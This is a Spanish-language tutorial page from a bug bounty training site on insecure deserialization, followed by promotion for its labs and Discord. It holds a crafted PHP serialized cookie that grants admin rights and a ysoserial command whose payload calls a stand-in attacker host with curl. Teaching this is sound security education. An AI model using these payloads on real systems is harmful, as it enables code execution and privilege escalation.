Deserialization

Crítico

Insecure Deserialization / Deserialización Insegura

Definición

La Deserialización Insegura ocurre cuando una aplicación deserializa datos no confiables sin validación adecuada. Los atacantes pueden manipular objetos serializados para lograr ejecución remota de código, escalada de privilegios o manipulación de datos. Afecta a lenguajes como Java, PHP, Python, Ruby y .NET.

Impacto

Ejecución remota de código (RCE) en el servidorBypass de autenticación y controles de accesoInyección de objetos arbitrarios en la aplicaciónDenegación de servicioManipulación de datos y lógica de negocio

Ejemplos

PHP Object Injection

La aplicación PHP deserializa datos de una cookie sin validación. El atacante construye un objeto serializado con propiedades modificadas (isAdmin: true), que al deserializarse crea una instancia con privilegios de administrador.

// Clase vulnerable en PHP
class UserPreferences {
  public $theme = 'light';
  public $isAdmin = false;

  public function __destruct() {
    if ($this->isAdmin) {
      // Operación privilegiada
    }
  }
}

// Deserialización insegura
$prefs = unserialize($_COOKIE['preferences']);

// Payload del atacante (cookie serializada):
O:15:"UserPreferences":2:{s:5:"theme";s:4:"dark";s:7:"isAdmin";b:1;}
// isAdmin se establece como true

Java Deserialization con ysoserial

Las aplicaciones Java que usan ObjectInputStream para deserializar datos de entrada son vulnerables. La herramienta ysoserial genera payloads que explotan 'gadget chains' en bibliotecas comunes como Apache Commons para lograr ejecución de código.

# Generar payload con ysoserial
java -jar ysoserial.jar CommonsCollections1 'curl http://atacante.com/pwned' | base64

# Enviar como cookie, header o body según el vector:
Cookie: session=rO0ABXNyADJvcmcuYXBhY2hlLm...

# Cuando el servidor deserializa (ObjectInputStream.readObject()),
# se ejecuta la cadena de gadgets que resulta en RCE

Practica Deserialization con labs reales

Aplica lo que has aprendido en entornos seguros basados en reportes de bug bounty.

Ver labs de práctica
2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.